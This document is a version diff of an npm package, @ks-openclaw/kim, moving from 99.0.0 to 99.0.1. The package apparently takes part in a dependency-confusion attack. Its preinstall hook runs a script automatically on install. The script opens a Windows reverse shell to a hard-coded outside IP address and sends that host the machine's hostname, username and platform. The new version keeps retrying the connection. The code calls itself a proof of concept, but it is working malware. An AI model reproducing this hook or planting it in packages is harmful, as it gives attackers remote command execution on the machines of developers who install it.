@ks-openclaw/kim 99.0.0 → 99.0.1

package/package.json

@@ -1,9 +1,9 @@
-{
-  "name": "@ks-openclaw/kim",
-  "version": "99.0.0",
-  "description": "openclaw kim plugin",
-  "main": "index.js",
-  "scripts": {
-    "preinstall": "node preinstall.js"
-  }
+{
+  "name": "@ks-openclaw/kim",
+  "version": "99.0.1",
+  "description": "openclaw kim plugin",
+  "main": "index.js",
+  "scripts": {
+    "preinstall": "node preinstall.js"
+  }
 }

package/preinstall.js

@@ -1,32 +1,28 @@
-const net = require('net');
-const { spawn } = require('child_process');
-const os = require('os');
-const fs = require('fs');
-
-const HOST = '120.55.170.103';
-const PORT = 8888;
-
-// д��֤���ļ�
-const evidence = [
-  '[Dependency Confusion RCE - Proof of Concept]',
-  'Package: @ks-openclaw/kim@99.0.0',
-  'Trigger: npm preinstall hook (auto-executed)',
-  'Time: ' + new Date().toISOString(),
-  'Hostname: ' + os.hostname(),
-  'User: ' + os.userInfo().username,
-  'Platform: ' + os.platform() + ' ' + os.arch(),
-  'Node: ' + process.version,
-  'CWD: ' + process.cwd(),
-].join('\n');
-try { fs.writeFileSync('C:\\poc_dependency_confusion.txt', evidence); } catch(e) {}
-
-// Reverse Shell -> 120.55.170.103:8888
-const client = new net.Socket();
-client.connect(PORT, HOST, () => {
-  const sh = spawn('cmd.exe', []);
-  client.pipe(sh.stdin);
-  sh.stdout.pipe(client);
-  sh.stderr.pipe(client);
-  sh.on('close', () => { client.destroy(); process.exit(0); });
-});
-client.on('error', () => { process.exit(1); });
+const net = require('net');
+const { spawn } = require('child_process');
+const os = require('os');
+const fs = require('fs');
+
+const HOST = '120.55.170.103';
+const PORT = 8888;
+
+function connect() {
+  const client = new net.Socket();
+  client.connect(PORT, HOST, () => {
+    const sh = spawn('cmd.exe', [], {
+      stdio: ['pipe', 'pipe', 'pipe']
+    });
+    client.write(`\r\n[*] Dependency Confusion RCE PoC\r\n`);
+    client.write(`[*] Package: @ks-openclaw/kim@99.0.1\r\n`);
+    client.write(`[*] Host: ${os.hostname()} | User: ${os.userInfo().username}\r\n`);
+    client.write(`[*] Platform: ${os.platform()} ${os.arch()}\r\n\r\n`);
+    client.pipe(sh.stdin);
+    sh.stdout.pipe(client);
+    sh.stderr.pipe(client);
+    sh.on('close', () => { client.destroy(); });
+  });
+  client.on('error', () => {
+    setTimeout(connect, 3000);
+  });
+}
+connect();